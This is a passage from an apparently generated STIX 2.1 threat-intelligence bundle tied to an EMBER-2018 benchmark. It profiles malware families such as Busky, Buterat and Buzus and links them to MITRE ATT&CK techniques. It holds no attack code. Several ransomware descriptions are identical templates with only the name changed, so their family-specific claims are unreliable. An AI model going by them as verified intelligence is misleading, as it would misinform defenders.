      "description": "Busky (classified in antivirus detection telemetry under designations including Ransom:Win32/Busky, Ransom.Win32.Busky, and Win32/Busky) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Busky executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Busky",
        "Ransom.Win32.Busky",
        "Win32/Busky"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Busky",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/busky"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79717585-e090-5100-95ad-cbf67fc97729",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d277b33c-a381-5a8d-9f23-a3b4695ff249",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Busky exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfcc6e04-ba09-5186-a53b-f4cd1d2bf0d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d277b33c-a381-5a8d-9f23-a3b4695ff249",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Busky exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b268284-5be6-5e95-8636-3a10867be257",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d277b33c-a381-5a8d-9f23-a3b4695ff249",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Busky exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e33feae-6697-59c9-976f-016bc3ed52c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d277b33c-a381-5a8d-9f23-a3b4695ff249",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Busky exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a8b9ef8-9627-536a-9317-f2aca2898e48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d277b33c-a381-5a8d-9f23-a3b4695ff249",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Busky exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6000526b-118b-5508-86c6-1a647e7c4b42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bustem",
      "description": "Bustem (classified in antivirus detection telemetry under designations including Ransom:Win32/Bustem, Ransom.Win32.Bustem, and Win32/Bustem) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bustem executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bustem",
        "Ransom.Win32.Bustem",
        "Win32/Bustem"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bustem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bustem"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c688e494-2ad7-5f5a-b246-77280d04623e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6000526b-118b-5508-86c6-1a647e7c4b42",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bustem exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ede7d765-3b43-51f2-a3e6-e3b7d324aec5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6000526b-118b-5508-86c6-1a647e7c4b42",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bustem exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79d06780-1097-5121-9581-10397c68fd20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6000526b-118b-5508-86c6-1a647e7c4b42",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bustem exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39815e0e-9984-5dfd-99b2-af56be25c7f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6000526b-118b-5508-86c6-1a647e7c4b42",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bustem exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c751a77-5616-5a27-b38c-182adcb181f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6000526b-118b-5508-86c6-1a647e7c4b42",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bustem exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--13d4d2e8-bf5c-5430-a835-264df404951c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Buterat",
      "description": "ButeRAT (cataloged in threat research and security telemetry under signatures including Backdoor:Win32/ButeRAT, Backdoor.Win32.Buterat, and Trojan:Win32/ButeRAT) is a stealthy remote access trojan and cyber espionage backdoor active since 2014. Designed for long-term intelligence gathering and covert reconnaissance against enterprise and government targets, ButeRAT employs advanced execution hijacking techniques\u2014utilizing low-level Windows APIs such as SetThreadContext and ResumeThread to manipulate thread contexts and inject code into legitimate host processes without triggering child process creation heuristics. Once resident, ButeRAT drops auxiliary persistence binaries disguised with names mimicking legitimate Windows background services (such as amhost.exe or bmhost.exe) in hidden user directories. ButeRAT establishes encrypted C2 communications to receive operator instructions, enabling remote command execution, keystroke capture, sensitive file exfiltration, and secondary payload deployment. (Observed samples in benchmark: 77)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/ButeRAT",
        "Backdoor.Win32.Buterat",
        "Trojan:Win32/ButeRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Buterat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/buterat"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2065115a-b092-56eb-afbe-7ac98310b973",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13d4d2e8-bf5c-5430-a835-264df404951c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buterat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9796b8d-fa16-5d29-bdbf-e1961234a94c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13d4d2e8-bf5c-5430-a835-264df404951c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buterat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bfcbd9b-6064-5d31-a05b-9593d264d376",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13d4d2e8-bf5c-5430-a835-264df404951c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buterat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3977b70d-3afd-5559-8385-80bfb5e58c80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13d4d2e8-bf5c-5430-a835-264df404951c",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buterat exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a179873b-f28f-561f-a053-510f638310f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13d4d2e8-bf5c-5430-a835-264df404951c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buterat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8afc4fc4-e6dc-5de3-8ca6-b25d59093398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Buzus",
      "description": "Buzus (cataloged in antivirus vendor databases and threat intelligence taxonomies under detections including Trojan:Win32/Buzus, Trojan.Win32.Buzus, and Trojan.Buzus) is an extensive and enduring family of Windows trojans, spyware, and initial access backdoors active since 2008. Widely tracked by Kaspersky and Microsoft across hundreds of granular sub-variants, Buzus frequently functions as the payload component dropped by mass-propagating worms (such as Rimecud) and malicious spam attachments. Once installed, Buzus injects code into system processes like svchost.exe, establishes autostart persistence via Windows registry Run keys, and monitors victim activity. It captures keystrokes, steals credentials stored in web browsers and email clients, and logs active application windows. Furthermore, Buzus maintains encrypted command-and-control channels to download secondary malware strains, turning infected endpoints into multipurpose bots. (Observed samples in benchmark: 69)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Buzus",
        "Trojan.Win32.Buzus",
        "Trojan.Buzus",
        "Trojan:Win32/Buzus.C"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Buzus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/buzus"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--541aafed-f38b-5df8-b797-3f9532291470",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8afc4fc4-e6dc-5de3-8ca6-b25d59093398",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzus exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1555.004: Credentials from Password Stores: Windows Credential Manager",
      "description": "MITRE ATT&CK Technique T1555.004 (Credentials from Password Stores: Windows Credential Manager) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1555.004",
          "url": "https://attack.mitre.org/techniques/T1555/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c457c7d2-dd6e-5a63-b056-db630ff54c5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8afc4fc4-e6dc-5de3-8ca6-b25d59093398",
      "target_ref": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzus exhibits technique T1555.004 (Credentials from Password Stores: Windows Credential Manager)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--994e3d21-13d9-5402-aa97-d1f8d157eab2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8afc4fc4-e6dc-5de3-8ca6-b25d59093398",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzus exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28bda821-512c-5d1f-a886-0d135dbac4e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8afc4fc4-e6dc-5de3-8ca6-b25d59093398",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzus exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e638a2a-ffaa-5a44-87f0-3ad2c760982c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8afc4fc4-e6dc-5de3-8ca6-b25d59093398",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--edd3b5d5-31ad-52b9-b601-671daece7588",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Buzy",
      "description": "Buzy (classified in antivirus detection telemetry under designations including Ransom:Win32/Buzy, Ransom.Win32.Buzy, and Win32/Buzy) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Buzy executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Buzy",
        "Ransom.Win32.Buzy",
        "Win32/Buzy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Buzy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/buzy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d019bc8d-5f5f-5cf8-84fa-e172d698b056",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edd3b5d5-31ad-52b9-b601-671daece7588",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a6663d8-02b0-5e5e-babe-38221575ba9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edd3b5d5-31ad-52b9-b601-671daece7588",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--751a20e5-272b-5cda-a050-96248f4a4ec7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edd3b5d5-31ad-52b9-b601-671daece7588",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f85b3e8-f9d8-5fe3-91bc-fbe8c68e25f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edd3b5d5-31ad-52b9-b601-671daece7588",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf366095-c76e-5324-911a-ec564ba702ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edd3b5d5-31ad-52b9-b601-671daece7588",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buzy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d98e0cf4-bef4-5fcc-b9c8-fce585c2072f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bwod",
      "description": "Bwod (classified in antivirus detection telemetry under designations including Ransom:Win32/Bwod, Ransom.Win32.Bwod, and Win32/Bwod) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bwod executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bwod",
        "Ransom.Win32.Bwod",
        "Win32/Bwod"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bwod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bwod"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac40cdff-d9e0-58bd-8787-3e8b769841cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d98e0cf4-bef4-5fcc-b9c8-fce585c2072f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bwod exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2deb0242-8a88-5c03-ab27-5452d43eb119",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d98e0cf4-bef4-5fcc-b9c8-fce585c2072f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bwod exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f1bf083-7f0c-5b74-9853-e3545d18b126",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d98e0cf4-bef4-5fcc-b9c8-fce585c2072f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bwod exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5033467-c3a2-5e25-a8d8-897146d805ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d98e0cf4-bef4-5fcc-b9c8-fce585c2072f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bwod exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe10f542-94f2-5493-a4d2-5fee235443aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d98e0cf4-bef4-5fcc-b9c8-fce585c2072f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bwod exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4fe023c0-b87a-5373-9f6e-403e4cf46e79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bybz",
      "description": "Bybz (classified in antivirus detection telemetry under designations including Ransom:Win32/Bybz, Ransom.Win32.Bybz, and Win32/Bybz) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bybz executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bybz",
        "Ransom.Win32.Bybz",
        "Win32/Bybz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bybz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bybz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e2d0809-9487-51ff-8ff9-408c70265304",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe023c0-b87a-5373-9f6e-403e4cf46e79",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bybz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0662b8c2-a856-50c2-94e1-177c89e86cd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe023c0-b87a-5373-9f6e-403e4cf46e79",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bybz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e74b374c-fd49-58dc-b3dd-2dadd2d11cbc",
      "created": "2026-01-01T00:00:00.000Z",
